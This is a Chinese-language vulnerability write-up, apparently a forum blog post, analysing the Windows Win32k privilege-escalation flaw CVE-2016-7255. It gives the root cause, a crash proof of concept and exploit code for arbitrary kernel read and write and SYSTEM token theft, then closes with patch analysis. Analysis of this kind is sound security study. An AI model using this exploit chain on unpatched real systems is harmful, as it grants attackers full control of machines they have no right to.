新手初学二进制漏洞不久,也是第一次写相关的博客,如有不足和错误,请各位师傅们多多指正
漏洞信息
漏洞简述
- 漏洞名称:Microsoft Win32k 特权提升漏洞
- 漏洞编号:CVE-2016-7255
- 漏洞类型:类型混淆
- 漏洞影响:权限提升
- CVSS评分: 7.8
- 利用难度:Low
组件概述
win32k.sys为驱动文件,主要为应用层提供大量服务。功能上主要实现窗口管理和图形设备接口。
漏洞利用
该漏洞是在win32k.sys中xxxNextWindow中,对于tagWnd对象内成员,只进行了是否为零的判断,而没有验证是否有效,导致可以构造内核空间任意地址写,最终实现本地提权。
漏洞影响
Windows Vista SP2
Windows Server 2008 SP2 and R2 SP1
Windows 7 SP1
Windows 8.1
Windows Server 2012 Gold and R2
Windows RT 8.1
Windows 10 Gold,1511,and 1607
Windows Server 2016
解决方案
microsoft补丁如下:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-7255
漏洞分析
分析环境
Windows 7 SP1 x86
VMware Workstation 16 Pro
WinDbg 10.0.18362.1
IDA Pro 7.6
背景知识
主要介绍一些后面会用到的结构体和函数
1.用户态窗口类结构体:WNDCLASSEX,该结构体的定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | typedef struct WNDCLASSEX {
UINT cbSize; / / 类的大小
UINT style; / / 窗口风格
WNDPROC lpfnWndProc; / / 窗口处理函数指针
int cbClsExtra; / / 所有窗口实例共同占用内存的大小
int cbWndExtra; / / 窗口实例拓展内存的大小
HINSTANCE hInstance; / / 模块句柄
HICON hIcon; / / 图标句柄
HCURSOR hCursor; / / 光标句柄
HBRUSH hbrBackground; / / 背景刷句柄
LPCTSTR lpszMenuName; / / 菜单指针
LPCTSTR lpszClassName; / / 类名指针
HICON hIconSm;
} WNDCLASSEX, * PWNDCLASSEX;
|
其中需要关注的是cbWndExtra成员,当创建窗口实例的时候系统会根据cbWndExtra的值分配相应大小的空间
2.内核态窗口类结构体:tagWND,下面列出该结构体中需要关注的成员
1 2 3 4 5 6 7 | win32k!tagWND
...
+ 0x078 spmenu : Ptr32 tagMENU / / tagMENU菜单对象指针
...
+ 0x084 strName
+ 0x090 cbwndExtra : Int4B / / 窗口实例拓展内存大小
...
|
3.内核态菜单类结构体 : tagMENU,只需要知道在偏移0x14存在fFlags字段
1 2 3 4 | win32k!tagMENU
...
+ 0x014 fFlags : Uint4B
...
|
4.SetWindowLong函数
1 2 3 4 5 | LONG SetWindowLong(
HWND hWnd, / / 窗口句柄
int nIndex, / / 偏移
LONG dwNewLong / / 要设置的值
);
|
SetWindowLong函数可以用来改变窗口的属性,也可以向窗口拓展内存中写入数据,SetWindowLong最终调用了xxxSetWindowLong。
在xxxSetWindowLong中,会对传入的nIndex进行判断,当nIndex小于0时,会调用xxxSetWindowData,如下图所示。
而在xxxSetWindowData中,当nIndex为-12(GWL_ID),且窗口的style为WS_CHILD(0x40000000)时,会将tagWND结构体中的spmenu成员的值设为传入的dwNewLong,如下图所示。
回到xxxSetWindowLong的第79行,当nIndex+4大于tagWND结构体中的cbwndExtra(拓展内存大小),即要越界的时候,就会跳转到第70行,设置ErrorCode,并返回,如下图所示。
当nIndex不小于零,且不存在越界的情况时,就会根据nIndex,设置拓展内存中的值,如下图所示
漏洞成因
该漏洞位于win32k!xxxNextWindow中,xxxNextWindow函数的反汇编如下所示
在第176行处,函数只对tagWND结构体中的spmenu成员是否为零进行了判断,而缺少了其他必要的检查,然后在177行就将spmenu偏移0x14处的地址中的值和0x4进行或操作。而spmenu,可以使用背景知识里所介绍的SetWindowLong对其进行修改,从而实现任意地址写操作。
漏洞复现
要验证这个漏洞主要是实现对spmenu的修改,然后通过模拟按键alt+esc,进入xxxNextWindow触发漏洞
首先是创建两个窗口hWnd1和hWnd2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | / / 创建窗口 1
hWnd1 = CreateWindowExW(
0 ,
lpszClassName,
NULL,
WS_VISIBLE,
0 ,
0 ,
100 ,
100 ,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/ / 创建窗口 2
hWnd2 = CreateWindowExW(
0 ,
lpszClassName,
NULL,
WS_VISIBLE,
0 ,
0 ,
100 ,
100 ,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
|
然后调用SetWindowlong,将窗口的style设置为WS_CHILD
1 | SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
|
再调用SetWindowLong,将窗口的spmenu设置为0x12345678
1 | SetWindowLong(hWnd1,GWL_ID, 0x12345678 );
|
切换焦点到窗口2,将它设置为最前方窗口
1 | SwitchToThisWindow(hWnd2,TRUE);
|
最后是模拟alt+esc按键来处罚漏洞
1 2 | keybd_event(VK_MENU, 0 , 0 , 0 );
keybd_event(VK_ESCAPE, 0 , 0 , 0 );
|
完整的POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | WCHAR * lpszClassName = L "TEST" ;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HWND hWnd1;
HWND hWnd2;
WNDCLASSEXW wcs = { 0 };
wcs.cbSize = sizeof(WNDCLASSEXW);
wcs.lpfnWndProc = DefWindowProc;
wcs.hInstance = GetModuleHandle(NULL);
wcs.lpszClassName = lpszClassName;
if (!RegisterClassExW(&wcs))
{
return 0 ;
}
/ / 创建窗口 1
hWnd1 = CreateWindowExW(
0 ,
lpszClassName,
NULL,
WS_VISIBLE,
0 ,
0 ,
100 ,
100 ,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/ / 创建窗口 2
hWnd2 = CreateWindowExW(
0 ,
lpszClassName,
NULL,
WS_VISIBLE,
0 ,
0 ,
100 ,
100 ,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/ / 将窗口 1 的style设置为WS_CHILD,以便后面设置spmenu
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
/ / 将窗口 1 的spmenu设置为 0x12345678
SetWindowLong(hWnd1,GWL_ID, 0x12345678 );
/ / 将窗口 2 设置最前方窗口
SwitchToThisWindow(hWnd2,TRUE);
/ / 触发漏洞
keybd_event(VK_MENU, 0 , 0 , 0 );
keybd_event(VK_ESCAPE, 0 , 0 , 0 );
return 0 ;
}
|
运行POC,此时windbg显示如下,可以看到xxxNextWindow函数执行到 or dword ptr [eax+14h], 4 时,eax存储的就是之前写入的spmenu的值0x12345678,然后读取spmenu偏移0x14,即0x1234568C处的值进行或运算, 触发访问异常,导致系统崩溃
漏洞利用
本节主要介绍该漏洞利用的思路。
获得HMValidateHandle函数地址
HMValidateHandle函数可以将匹配的对象复制到用户空间中,并返回对应的地址,最终可以获得对象在内核空间中的地址。
然后是寻找HMValidateHandle的地址,由于该函数并没有导出,但是有一个用户态函数IsMenu调用了它,如下所示,只存在一个call指令,所以可以从IsMenu的地址开始遍历,寻找特征码E8,从而获得HMValidateHandle的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | / / 查找HMValidateHandle的地址
void FindHMValidateHandle()
{
BYTE * pTemp = NULL;
BYTE * pIsMenu = NULL;
HMODULE hUser32 = NULL;
DWORD dwOffset = 0 ;
DWORD dwNext = 0 ; / / 下一条指令地址
/ / 获得user32.dll的句柄
hUser32 = GetModuleHandle(L "user32.dll" );
/ / 获得IsMenu的地址
pIsMenu = (BYTE * )GetProcAddress(hUser32, "IsMenu" );
/ / 遍历
for ( int i = 0 ;i< 1000 ;i + + )
{
pTemp = (BYTE * )(pIsMenu + i);
if ( * pTemp = = 0xE8 )
{
dwOffset = * (DWORD * )(pTemp + 1 );
dwNext = (DWORD)(pTemp + 5 );
break ;
}
}
/ / 计算目标函数地址
HMValidateHandle = (HMValidateHandle_t)(dwNext + dwOffset);
}
|
触发漏洞,修改cbwndExta成员
调用HMValidateHandle,得到了复制的tagWnd对象的地址,通过其中的成员head的pSelf字段,就可以获得tagWnd对象在内核空间中的地址,在0x90偏移处,得到了cbwndExtra成员的地址,根据漏洞实现的条件,如下所示,可以将cbwndExtra的地址-0x14+0x3 写入spmenu,实现cbwndExta最高字节与0x4进行或运算,由于cbwndExtra初始值为0,漏洞触发后,cbwndExtra的值就变为0x04000000。
完成增大cbwndExtra后,需要再创建一个窗口2,使得该窗口2的tagWnd与触发漏洞窗口1的tagWnd相近,这样就可以调用SetWindowLong通过向触发漏洞的窗口1的cbwndExtra写入数据的同时,能够修改窗口2的tagWnd的关键成员。为此可以创建了0x100个窗口,并选取两个tagWnd对象地址相差小于0x3fd00的窗口,一个作为触发漏洞的窗口tagWnd1,另一个作为利用的窗口tagWnd2,如下所示
任意地址读取
现在使用SetWindowLong就可以去修改tagWnd2的成员,这里选择的位于0x34偏移处的spwndParent。然后调用GetAncestor,函数的定义如下。该函数实际调用内核态函数NtUserGetAncestor,将gaFlags设置为GA_PARENT(1),就会返回 *(tagWnd.spwndParent),所以可以将内核地址写入spwndParent成员,实现任意地址读取。
1 | HWND GetAncestor( _In_ HWND hwnd, _In_ UINT gaFlags);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | DWORD ReadKernelMemory(DWORD dwAddr)
{
WCHAR szBuf[ 4 ] = { 0 };
DWORD dwOrg = 0 ;
DWORD dwNameOffset = 0 ;
DWORD dwRet = 0 ;
/ / 计算spwndParent距附加空间的偏移
dwNameOffset = dwExtraOffset + 0x34 ;
/ / 保存原始spwndParent
dwOrg = * (DWORD * )((DWORD)pHead2 + 0x34 );
/ / 设置Parent
SetWindowLong(hWnd1,dwNameOffset,dwAddr);
/ / 读取
dwRet = (DWORD)GetAncestor(hWnd2, 1 );
/ / 恢复原始值
SetWindowLong(hWnd1,dwNameOffset,dwOrg);
return dwRet;
}
|
任意地址写入
在实现任意地址写入的时候,选择的是tagWnd结构偏移0x8c处的strName.Buffer成员,通过SetWindowLong去修改Buffer,然后调用SetWindowText,函数定义如下,将要写入的值的地址作为参数传入,就可以任意值写入buffer指向的空间中。
1 | BOOL SetWindowText(HWND hwnd,LPCTSTR lpString);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | VOID WriteKernelMemory(DWORD dwAddr,DWORD dwValue)
{
DWORD dwOrg = 0 ;
DWORD dwNameOffset = 0 ;
/ / 计算 Buffer 距附加空间的偏移
dwNameOffset = dwExtraOffset + 0x8c ;
/ / 保存原始 Buffer
dwOrg = * (DWORD * )((DWORD)pHead2 + 0x8c );
/ / 修改 Buffer 为要写入的地址
SetWindowLong(hWnd1,dwNameOffset,dwAddr);
/ / 写入值
DWORD dwRet = SetWindowTextW(hWnd2,(LPCWSTR)&dwValue);
/ / 恢复 Buffer
SetWindowLong(hWnd1,dwNameOffset,dwOrg);
}
|
权限提升
最后就是实现提权,这里选择的就是修改当前进程的token。通过检查tagWnd结构体可以发现能够操作的地方,tagWND->head->pti->pEThread->ApcState->Process,通过一步步地调用ReadKernelMemory,就可以获得当前进程的EPROCESS结构体地址,后面只需要通过其中的ActiveProcessLinks去遍历进程链表,通过pid查找到system进程,然后调用WriteKernelMemory,将当前进程的token修改为system进程的token,完成提权,具体实现如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | / / pti
pti = (DWORD)pHead2 - >pti;
/ / ethread
dwParam = pti;
eThread = ReadKernelMemory(dwParam);
/ / eprocess
dwParam = eThread + 0x50 ;
eProcess = ReadKernelMemory(dwParam);
NextProcess = eProcess;
while (pid! = 0x4 )
{
/ / next process
dwParam = NextProcess + 0xb8 ;
NextProcess = ReadKernelMemory(dwParam);
NextProcess - = 0xb8 ;
/ / pid
dwParam = NextProcess + 0xb4 ;
pid = ReadKernelMemory(dwParam);
}
/ / Token
dwParam = NextProcess + 0xf8 ;
Token = ReadKernelMemory(dwParam);
/ / 修改当前进程tokens
dwParam = eProcess + 0xf8 ;
WriteKernelMemory(dwParam,Token);
|
执行到此,任务管理器显示如下,可以看到本地进程的token已经和system进程的token相同,即权限已经提升成功。
补丁分析
对应的漏洞补丁为KB3197868。
首先是补丁前后的xxxNextWindow的反汇编比较,如下所示,在第173行处,比原先版本新增了一处判断,即xxxNextWindow会判断tagWnd的style成员是否为WS_CHILD(0x40000000),如果窗口的类型为WS_CHILD,则不会对spmenu.fFlags进行或操作。这么做的原因是因为,最开始设置spmenu成员的时候,调用了以GWL_ID为参数的SetWindowLong,只有当窗口类型为WS_CHILD,才能够传入的参数赋给spmenu成员,此处判断能够限制窗口的类型,从而对触发的过程进行限制。
参考文献
1.https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html
2.https://blog.csdn.net/qq_41252520/article/details/119698465
3.https://www.77169.net/html/50253.html
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2022-5-13 14:45
被帆帆帆帆编辑
,原因: